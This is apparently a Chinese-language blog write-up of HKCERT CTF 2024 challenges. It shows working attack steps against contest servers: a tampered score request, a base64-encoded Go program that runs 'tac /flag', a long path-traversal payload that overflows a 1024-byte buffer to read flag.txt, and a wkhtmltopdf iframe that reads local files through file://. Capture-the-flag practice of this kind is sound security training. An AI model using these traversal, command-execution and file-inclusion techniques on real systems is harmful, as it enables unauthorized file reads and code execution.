HKCERTCTF2024

baozongwi Lv5

0x01 前言

这周末比赛好多。和哥哥们一起看看

0x02 question

最初的挑戰

直接提交flag就可以了

新免費午餐

我去,这个比赛居然还给wp,貌似是真手把手题目?

看了一下这个游戏是很简单的,但是60S是肯定得不到300分的,所以只能抓包来修改参数

随便玩一次游戏抓包发现是这样子,那么应该是可以篡改的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /update_score.php HTTP/2
Host: c08-new-free-lunch-0.hkcert24.pwnable.hk
Cookie: PHPSESSID=9448dc25a56a476c065fc1484a18cb18
Content-Length: 85
Sec-Ch-Ua-Platform: "Windows"
Authorization: Bearer 1dcb18b229d0006650c0da3a46fb4c05
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Sec-Ch-Ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://c08-new-free-lunch-0.hkcert24.pwnable.hk
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://c08-new-free-lunch-0.hkcert24.pwnable.hk/game.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=1, i

{"score":3,"hash":"cf15a60bdb67bddc1f6303fcd95cf05fd103eaed81fbd57e627c1134f792472e"}

但是这个hash值不知道怎么改,看看源码

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
async function endGame() {
clearInterval(gameInterval);
clearInterval(timerInterval);
alert('Game Over! Your score: ' + score);

const hash = generateHash(secretKey + username + score);

fetch('/update_score.php', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${token}`
},
body: JSON.stringify({
score: score,
hash: hash
})
})

这里直接修改就好了

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /update_score.php HTTP/2
Host: c08-new-free-lunch-0.hkcert24.pwnable.hk
Cookie: PHPSESSID=9448dc25a56a476c065fc1484a18cb18
Content-Length: 87
Sec-Ch-Ua-Platform: "Windows"
Authorization: Bearer 1dcb18b229d0006650c0da3a46fb4c05
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Sec-Ch-Ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://c08-new-free-lunch-0.hkcert24.pwnable.hk
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://c08-new-free-lunch-0.hkcert24.pwnable.hk/game.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=1, i

{"score":303,"hash":"d869d6972c9d9c7fb016174fd1821b789b0bffed314cd7b08b305eda7c33f6f8"}

數立僉章寅算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import os
from Crypto.Util.number import getPrime as get_prime
from Crypto.Util.number import isPrime as is_prime
import secrets
import hashlib

# Computes the inverse of a mod prime p
def inverse(a, p):
return pow(a, p-2, p)

def hash(m):
h = hashlib.sha256(m).digest()
return int.from_bytes(h, 'big')

def generate_parameters():
# FIPS 186-4 specifies that p and q can be of (2048, 256) bits
while True:
q = get_prime(256)
r = secrets.randbits(2048-256)
p = r*q + 1
if p.bit_length() != 2048: continue
if not is_prime(p): continue
break

h = 1
while True:
h += 1
g = pow(h, (p-1)//q, p)
if g == 1: continue
break

return p, q, g

def sign(params, x, m):
p, q, g = params

k = secrets.randbelow(q)
r = pow(g, k, p) % q
s = inverse(k, q) * (hash(m) + x*r) % q

return (r, s)

def verify(params, y, m, sig):
p, q, g = params
r, s = sig

assert 0 < r < p
assert 0 < s < p

w = inverse(s, q)
u1 = hash(m) * w % q
u2 = r * w % q
v = pow(g, u1, p) * pow(y, u2, p) % p % q
assert v == r


def main():
# The parameters were generated by generate_parameters(), which will take some time to generate.
# With that reason, we will use a fixed one instead of a random one.
p = 17484281359996796703320753329289113133879315487679543624741105110874484027222384531803606958810995970161525595158267517181794414300756262340838882222415769778596720783078367872913954804658072233160036557319401158197234539657653635114116129319712841746177858547689703847179830876938850791424742190500438426350633498257950965188623233005750174576134802300600490139756306854032656842920490457629968890761814183283863329460516285392831741363925618264196019954486854731951282830652117210758060426483125525221398218382779387124491329788662015827601101640859700613929375036792053877746675842421482667089024073397901135900307
q = 113298192013516195145250438847099037276290008150762924677454979772524099733149
g = 2240914810379680126339108531401169275595161144670883986559069211999660898639987625873945546061830376966978596453328760234030133281772778843957617704660733666090807506024220142764237508766050356212712228439682713526208998745633642827205871276203625236122884797705545378063530457025121059332887929777555045770309256917282489323413372739717067924463128766609878574952525765509768641958927377639405729673058327662319958260422021309804322093360414034030331866591802559201326691178841972572277227570498592419367302032451643108376739154217604459747574970395332109358575481017157712896404133971465638098583730000464599930248

print(f'{p = }')
print(f'{q = }')
print(f'{g = }')

x = secrets.randbelow(q)
y = pow(g, x, p)
print(f'{y = }')

m = b'gib flag'

r = int(input('r = '))
s = int(input('s = '))

verify((p, q, g), y, m, (r, s))

flag = os.getenv('FLAG', 'hkcert24{***REDACTED***}')
print(flag)

if __name__ == '__main__':
main()

  1. 签名生成
    • 使用私钥(在这里是随机生成的x)和消息m生成签名(r, s)。
    • 具体过程如下:
      • 生成一个随机数k。
      • 计算r = (g^k mod p) mod q。
      • 计算s = (k^(-1) * (hash(m) + x * r)) mod q。
    • 签名(r, s)由这两个值组成。
  2. 签名验证
    • 使用公钥(y)和消息m来验证签名(r, s)的有效性。
    • 验证过程如下:
      • 计算s的模q的乘法逆元w。
      • 计算u1 = (hash(m) * w) mod q 和 u2 = (r * w) mod q。
      • 计算v = ((g^u1 mod p) * (y^u2 mod p)) mod p mod q。
      • 如果v等于r,则签名有效;否则无效。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import os
from Crypto.Util.number import getPrime as get_prime
from Crypto.Util.number import isPrime as is_prime
import secrets
import hashlib

def inverse(a, p):
# 计算 a 在模 p 下的逆元
return pow(a, p - 2, p)

def hash(m):
# 计算消息的 SHA-256 哈希值并返回整数
h = hashlib.sha256(m).digest()
return int.from_bytes(h, 'big')

def sign(params, x, m):
p, q, g = params

# 随机生成 k 并计算签名
k = secrets.randbelow(q)
r = pow(g, k, p) % q
s = (inverse(k, q) * (hash(m) + x * r)) % q

print(f'Signing: k={k}, r={r}, s={s}, hash(m)={hash(m)}, x={x}') # 调试信息

return (r, s)

def verify(params, y, m, sig):
p, q, g = params
r, s = sig

# 确保 r 和 s 在 (0, q) 范围内
assert 0 < r < q, f"r={r} is out of range"
assert 0 < s < q, f"s={s} is out of range"

# 计算签名的验证值
w = inverse(s, q)
u1 = (hash(m) * w) % q
u2 = (r * w) % q
v = (pow(g, u1, p) * pow(y, u2, p)) % p % q

print(f'Verifying: u1={u1}, u2={u2}, v={v}, r={r}') # 调试信息

# 进行签名验证
assert v == r, f"Verification failed: v={v}, r={r}"

def main():
# 使用固定参数
p = 17484281359996796703320753329289113133879315487679543624741105110874484027222384531803606958810995970161525595158267517181794414300756262340838882222415769778596720783078367872913954804658072233160036557319401158197234539657653635114116129319712841746177858547689703847179830876938850791424742190500438426350633498257950965188623233005750174576134802300600490139756306854032656842920490457629968890761814183283863329460516285392831741363925618264196019954486854731951282830652117210758060426483125525221398218382779387124491329788662015827601101640859700613929375036792053877746675842421482667089024073397901135900307
q = 113298192013516195145250438847099037276290008150762924677454979772524099733149
g = 2240914810379680126339108531401169275595161144670883986559069211999660898639987625873945546061830376966978596453328760234030133281772778843957617704660733666090807506024220142764237508766050356212712228439682713526208998745633642827205871276203625236122884797705545378063530457025121059332887929777555045770309256917282489323413372739717067924463128766609878574952525765509768641958927377639405729673058327662319958260422021309804322093360414034030331866591802559201326691178841972572277227570498592419367302032451643108376739154217604459747574970395332109358575481017157712896404133971465638098583730000464599930248

x = secrets.randbelow(q) # 随机生成私钥
y = pow(g, x, p) # 计算公钥

m = b'gib flag' # 要签名的消息

# 生成签名
r, s = sign((p, q, g), x, m)
print(f'Signature: r = {r}, s = {s}') # 打印签名

# 验证签名
verify((p, q, g), y, m, (r, s))

# 获取并打印 flag
flag = os.getenv('FLAG', 'hkcert24{***REDACTED***}')
print(flag)

if __name__ == '__main__':
main()

但是k是随机的,这里怎么处理呢

自行取旗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from base64 import b64decode
from secrets import token_hex
import subprocess
import os
import sys
import tempfile

FLAG = os.environ["FLAG"] if os.environ.get("FLAG") is not None else "hkcert24{test_flag}"

print("Encode your Go program in base64")
code = input(">> ")

with tempfile.TemporaryDirectory() as td:
fn = token_hex(16)
src = os.path.join(td, f"{fn}")
with open(src+".go", "w") as f:
f.write(b64decode(code).decode())

p = subprocess.run(["./fork", "build", "-o", td, src+".go"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # renamed binary
if p.returncode != 0:
print(r"Fail to build ¯\_(ツ)_/¯")
sys.exit(1)

_ = subprocess.run([src], stdout=subprocess.PIPE, stderr=subprocess.PIPE)

if _.returncode == 0:
print(r"You can write Go programs with no bugs, but I cannot give you the flag ¯\_(ツ)_/¯")
sys.exit(1)

if b"panic" in _.stderr:
print("I am calm...")
sys.exit(1)

print(f"You are an experienced Go developer, here's your flag: {FLAG}")
sys.exit(1)

看了一下代码可以把go程序的进行base64编码传入让他任意执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package main

import (
"fmt"
"log"
"os/exec"
)

func main() {
cmd := exec.Command("ls", "-l", "./")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}

1

安装环境之后测试没有问题

然后写个查看flag的编码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package main

import (
"fmt"
"log"
"os/exec"
)

func main() {
cmd := exec.Command("tac", "/flag")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}
1
cGFja2FnZSBtYWluDQoNCmltcG9ydCAoDQoiZm10Ig0KImxvZyINCiJvcy9leGVjIg0KKQ0KDQpmdW5jIG1haW4oKSB7DQogICAgICAgIGNtZCA6PSBleGVjLkNvbW1hbmQoInRhYyIsICIvZmxhZyIpDQogICAgICAgIG91dCwgZXJyIDo9IGNtZC5Db21iaW5lZE91dHB1dCgpDQogICAgICAgIGlmIGVyciAhPSBuaWwgew0KICAgICAgICBmbXQuUHJpbnRmKCJjb21iaW5lZCBvdXQ6XG4lc1xuIiwgc3RyaW5nKG91dCkpDQogICAgICAgICAgICAgICAgbG9nLkZhdGFsZigiY21kLlJ1bigpIGZhaWxlZCB3aXRoICVzXG4iLCBlcnIpDQogICAgICAgIH0NCiAgICAgICAgZm10LlByaW50ZigiY29tYmluZWQgb3V0OlxuJXNcbiIsIHN0cmluZyhvdXQpKQ0KfQ==

已知用火 (1)

有源码,进来我先看dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
FROM ubuntu:jammy-20240911.1

WORKDIR /app

ENV DEBIAN_FRONTEND noninteractive

RUN apt update

RUN apt -y install gcc

COPY ./src .

COPY ./flag.txt /flag.txt

RUN gcc server.c -o server

RUN useradd -ms /bin/bash www

USER www

ENTRYPOINT ["/app/server"]

一看就是在server.c里面了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>

#define PORT 8000
#define BUFFER_SIZE 1024

typedef struct {
char *content;
int size;
} FileWithSize;

bool ends_with(char *text, char *suffix) {
int text_length = strlen(text);
int suffix_length = strlen(suffix);

return text_length >= suffix_length && \
strncmp(text+text_length-suffix_length, suffix, suffix_length) == 0;
}

FileWithSize *read_file(char *filename) {
if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;

char real_path[BUFFER_SIZE];
snprintf(real_path, sizeof(real_path), "public/%s", filename);

FILE *fd = fopen(real_path, "r");
if (!fd) return NULL;

fseek(fd, 0, SEEK_END);
long filesize = ftell(fd);
fseek(fd, 0, SEEK_SET);

char *content = malloc(filesize + 1);
if (!content) return NULL;

fread(content, 1, filesize, fd);
content[filesize] = '\0';

fclose(fd);

FileWithSize *file = malloc(sizeof(FileWithSize));
file->content = content;
file->size = filesize;

return file;
}

void build_response(int socket_id, int status_code, char* status_description, FileWithSize *file) {
char *response_body_fmt =
"HTTP/1.1 %u %s\r\n"
"Server: mystiz-web/1.0.0\r\n"
"Content-Type: text/html\r\n"
"Connection: %s\r\n"
"Content-Length: %u\r\n"
"\r\n";
char response_body[BUFFER_SIZE];

sprintf(response_body,
response_body_fmt,
status_code,
status_description,
status_code == 200 ? "keep-alive" : "close",
file->size);
write(socket_id, response_body, strlen(response_body));
write(socket_id, file->content, file->size);
free(file->content);
free(file);
return;
}

void handle_client(int socket_id) {
char buffer[BUFFER_SIZE];
char requested_filename[BUFFER_SIZE];

while (1) {
memset(buffer, 0, sizeof(buffer));
memset(requested_filename, 0, sizeof(requested_filename));

if (read(socket_id, buffer, BUFFER_SIZE) == 0) return;

if (sscanf(buffer, "GET /%s", requested_filename) != 1)
return build_response(socket_id, 500, "Internal Server Error", read_file("500.html"));

FileWithSize *file = read_file(requested_filename);
if (!file)
return build_response(socket_id, 404, "Not Found", read_file("404.html"));

build_response(socket_id, 200, "OK", file);
}
}

int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);

struct sockaddr_in server_address;
struct sockaddr_in client_address;

int socket_id = socket(AF_INET, SOCK_STREAM, 0);
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
server_address.sin_port = htons(PORT);

if (bind(socket_id, (struct sockaddr*)&server_address, sizeof(server_address)) == -1) exit(1);
if (listen(socket_id, 5) < 0) exit(1);

while (1) {
int client_address_len;
int new_socket_id = accept(socket_id, (struct sockaddr *)&client_address, (socklen_t*)&client_address_len);
if (new_socket_id < 0) exit(1);
int pid = fork();
if (pid == 0) {
handle_client(new_socket_id);
close(new_socket_id);
}
}
}

先慢慢看代码

1
2
3
4
5
6
7
bool ends_with(char *text, char *suffix) {
int text_length = strlen(text);
int suffix_length = strlen(suffix);

return text_length >= suffix_length && \
strncmp(text+text_length-suffix_length, suffix, suffix_length) == 0;
}

检查text后缀是否是suffix

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
FileWithSize *read_file(char *filename) {
if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;

char real_path[BUFFER_SIZE];
snprintf(real_path, sizeof(real_path), "public/%s", filename);

FILE *fd = fopen(real_path, "r");
if (!fd) return NULL;

fseek(fd, 0, SEEK_END);
long filesize = ftell(fd);
fseek(fd, 0, SEEK_SET);

char *content = malloc(filesize + 1);
if (!content) return NULL;

fread(content, 1, filesize, fd);
content[filesize] = '\0';

fclose(fd);

FileWithSize *file = malloc(sizeof(FileWithSize));
file->content = content;
file->size = filesize;

return file;
}

读取文件内容,但是有一些限制,并且是把文件存在public下面的

那么看完整个代码就觉得这里会有路径穿越导致能够直接读取

我们知道在根目录之后就是继续回退也是在根目录

1
cat /../../../../../../../../../../../../../../../etc/../etc/../flag

1

类似的就可以直接去读取了

1
/../../../../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../flag

这样子本身去读是没有问题的,但是尝试了一下发现读不出来会跳转404

1
/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../flag.txt.js

而为什么是这个payload呢原因在于这里

1

这里要让他溢出使得能够读取文件那么要让1024溢出,我们这里一看是倍数的并且能够目录穿越的也只有1024了,或者说我们随便试试1008

1

不够,下次倍数刚好能够溢出

1

再写倍数的话1072也不行所以就只有那一个poc可以打通

PDF 生成器(1)

下载好附件之后一进来就看到了模版渲染

excute_command.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Thanks LLM, I am a full-stack python programmer with security in mind now!
# https://poe.com/s/wuK3sK1GFql2Ay3A8EfO

import subprocess
import shlex

def execute_command(command):
"""
Execute an external OS program securely with the provided command.

Args:
command (str): The command to execute.

Returns:
tuple: (stdout, stderr, return_code)
"""
# Split the command into arguments safely
args = shlex.split(command)

try:
# Execute the command and capture the output
result = subprocess.run(
args,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
check=True # Raises CalledProcessError for non-zero exit codes
)
return result.stdout, result.stderr, result.returncode
except subprocess.CalledProcessError as e:
# Return the error output and return code if command fails
return e.stdout, e.stderr, e.returncode

# Example usage
if __name__ == "__main__":
command = "ls -l" # Replace with your command
stdout, stderr, return_code = execute_command(command)
print("STDOUT:", stdout)
print("STDERR:", stderr)
print("Return Code:", return_code)

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from flask import Flask, request, make_response, redirect, render_template_string
import uuid
import requests
from execute_command import execute_command

app = Flask(__name__, static_folder='')

@app.route('/', methods=['GET'])
def index():
# HTML template for the form
FORM_TEMPLATE = '''
<!doctype html>
<html>
<head><title>Webpage to PDF</title></head>
<body>
<h1>Webpage to PDF</h1>
<form action="{{ url_for('process_url') }}" method="post">
<label for="url">Enter URL:</label>
<input type="url" id="url" name="url" required>
<button type="submit">Submit</button>
</form>
</body>
</html>
'''

response = make_response(render_template_string(FORM_TEMPLATE))

# Generate a session ID if it doesn't exist
session_id = request.cookies.get('session_id')
if not session_id:
session_id = str(uuid.uuid4())
response.set_cookie('session_id', session_id)

return response

@app.route('/process', methods=['POST'])
def process_url():
# Get the session ID of the user
session_id = request.cookies.get('session_id')
html_file = f"{session_id}.html"
pdf_file = f"{session_id}.pdf"

# Get the URL from the form
url = request.form['url']

# Download the webpage
response = requests.get(url)
response.raise_for_status()

with open(html_file, 'w') as file:
file.write(response.text)

# Make PDF
stdout, stderr, returncode = execute_command(f'wkhtmltopdf {html_file} {pdf_file}')

if returncode != 0:
return f"""
<h1>Error</h1>
<pre>{stdout}</pre>
<pre>{stderr}</pre>
"""

return redirect(pdf_file)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

首先我们看命令执行函数就是做了一个检查然后就进行命令执行了,所以本地测试的时候是可以直接执行的

1

1

看到了很多session_id,如果生成了PDF会直接跳转到PDF如果没有的话会直接跳转到process

我们使用

1
url=https://example.com/

发现生成成功了,观察这个PDF,代码里面说了是用wkhtmltopdf来生成,我们现在再看看

再多次尝试发现,文件名都是session_id,而且是 wkhtmltopdf 0.12.5来生成的

1

搜索一下发现姿势

1
https://www.virtuesecurity.com/kb/wkhtmltopdf-file-inclusion-vulnerability-2/

1

随便写个html

1

那直接用file协议读就可以了

1
2
<h1>Hello world!</h1>
<iframe src="file:///flag.txt" height="500" width="500">

结果失败了,原来网站处理的是这样子

1
wkhtmltopdf {session_id}.html {session_id}.pdf

这里我们要访问本地需要加一个参数

1
Warning: Blocked access to file /flag.txt 

搜索就可以得到

1
--enable-local-file-access

要加上这个参数(这个不用说吧

1

0x03 小结

这个比赛非常有新意,RE的哥哥几乎就要A了,哎我什么时候能做这么大的贡献呢

  • Title: HKCERTCTF2024
  • Author: baozongwi
  • Created at : 2024-11-08 18:44:31
  • Updated at : 2024-11-11 20:25:06
  • Link: https://baozongwi.xyz/2024/11/08/HKCERTCTF2024/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments